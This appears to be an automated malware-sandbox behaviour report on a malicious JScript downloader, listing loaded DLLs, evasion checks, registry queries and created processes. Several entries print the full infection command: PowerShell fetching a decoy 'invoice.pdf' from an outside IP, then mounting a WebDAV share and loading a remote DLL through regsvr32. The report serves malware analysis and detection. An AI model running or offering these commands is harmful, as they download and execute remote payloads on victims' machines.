Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7785.js.csv");ITextStream.WriteLine(" entry:8318 f:wqrsn");ITextStream.WriteLine(" exec:2 f:wqrsn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4325			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5514			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1132	Thread sleep count: 4325 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1132	Thread sleep count: 5514 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4620	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6132	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5936	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1364834232.000001E45EB50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0H
Source: net.exe, 00000007.00000003.1357936709.000001E45EBAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1360290447.000001E45EBAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365290165.000001E45EBAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2591834554.0000017EE3259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.1357936709.000001E45EBAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1360290447.000001E45EBAF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365290165.000001E45EBAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: svchost.exe, 00000009.00000002.2590810102.0000017EDDC24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll	Jump to behavior
